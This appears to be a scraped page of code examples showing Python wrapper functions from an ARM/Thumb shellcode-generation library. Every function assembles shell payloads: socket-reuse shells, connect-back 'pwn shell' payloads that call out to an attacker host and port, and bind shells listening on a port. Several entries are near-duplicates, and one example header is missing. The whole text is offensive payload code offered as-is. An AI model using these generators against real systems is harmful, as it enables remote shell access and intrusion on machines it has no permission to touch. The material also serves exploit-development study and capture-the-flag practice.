Exemple #1
0
def generate():
    """find a socket, which is connected to the specified port in thumb mode
    Leaves socket in r6 reg.
    """
    sc = findpeer.generate()
    sc += dupsh.generate(sock='r6')
    return sc
Exemple #2
0
def generate():
    """find a socket, which is connected to the specified port
    Leaves socket in r6 reg.
    """
    sc = findpeer.generate()
    sc += dupsh.generate(sock='r6')
    return sc
Exemple #3
0
def generate(host='127.0.0.1', port=31337, sock='r6'):
    """connection back to attacker with pwn shell on specific port in Thumb Mode

    argument:
        host (str)    : specific IP address or hostname
        port (int/str): specific port
        sock (int/str): sock descriptor for dupsh()
    """
    sc =  connect.generate(host, port)
    sc += dupsh.generate(sock)

    return sc    
Exemple #4
0
def generate(host='127.0.0.1', port=31337, sock='r6'):
    """connection back to attacker with pwn shell on specific port in Thumb Mode

    argument:
        host (str)    : specific IP address or hostname
        port (int/str): specific port
        sock (int/str): sock descriptor for dupsh()
    """
    sc = connect.generate(host, port)
    sc += dupsh.generate(sock)

    return sc
def generate(host='127.0.0.1', port=31337, version=3, sock='r6'):
    """connection back to attacker with pwn shell on specific port in Thumb Mode

    argument:
        host (str)    : specific IP address or hostname
        port (int/str): specific port
        version(int)  : 2 is old linux kernel including 2.x (default: 3)
        sock (int/str): sock descriptor for dupsh()
    """
    sc = connect.generate(host, port, version)
    sc += dupsh.generate(sock)

    return sc
Exemple #6
0
def generate(host='127.0.0.1', port=31337, version=3, sock='r6'):
    """connection back to attacker with pwn shell on specific port in Thumb Mode

    argument:
        host (str)    : specific IP address or hostname
        port (int/str): specific port
        version(int)  : 2 is old linux kernel including 2.x (default: 3)
        sock (int/str): sock descriptor for dupsh()
    """
    sc =  connect.generate(host, port, version)
    sc += dupsh.generate(sock)

    return sc    
Exemple #7
0
def generate(port=31337, sock=4, once=True):
    """bind shell on specific port in Thumb Mode

    argument:
        port (int/str): specific port
        sock (int/str): sock descriptor for dupsh()
        once (boolean): if False then infinity loop
    """

    if once:
        sc = listen.generate(port)
    else:
        sc = acceptloop.generate(port)

    sc += dupsh.generate(sock)

    return sc
Exemple #8
0
def generate(port=31337, sock=4, once=True):
    """bind shell on specific port

    Args:
        port(int): specific port
        
        sock(int/str/reg): connection sock will be mapped with shell
        
        once(boolean): binds on port infinity if true
                       binds on port once if false 
    """

    if once:
        sc = listen.generate(int(port))
    else:
        sc = acceptloop.generate(int(port))

    sc += dupsh.generate(sock)

    return sc
Exemple #9
0
def generate(port=31337, sock=4, once=True):
    """bind shell on specific port

    Args:
        port(int): specific port
        
        sock(int/str/reg): connection sock will be mapped with shell
        
        once(boolean): binds on port infinity if true
                       binds on port once if false 
    """

    if once:
        sc = listen.generate(port)
    else:
        sc = acceptloop.generate(port)

    sc += dupsh.generate(sock)

    return sc
Exemple #10
0
def generate(port=31337, sock=4, version=3, once=1):
    """bind shell on specific port in Thumb Mode

    Args:
        port(int): specific port
        
        sock(int/str/reg): connection sock will be mapped with shell
        
        version(int): 2 is old linux kernel including 2.x (default: 3)

        once(int): binds on port infinity if 1
                       binds on port once if 0
    """

    if int(once) == 1:
        sc = listen.generate(int(port), version)
    else:
        sc = acceptloop.generate(int(port), version)

    sc += dupsh.generate(int(sock))

    return sc
Exemple #11
0
def generate(port=31337, sock=4, version=3, once=1):
    """bind shell on specific port in Thumb Mode

    Args:
        port(int): specific port
        
        sock(int/str/reg): connection sock will be mapped with shell
        
        version(int): 2 is old linux kernel including 2.x (default: 3)

        once(int): binds on port infinity if 1
                       binds on port once if 0
    """

    if int(once) == 1:
        sc = listen.generate(int(port), version)
    else:
        sc = acceptloop.generate(int(port), version)

    sc += dupsh.generate(int(sock))

    return sc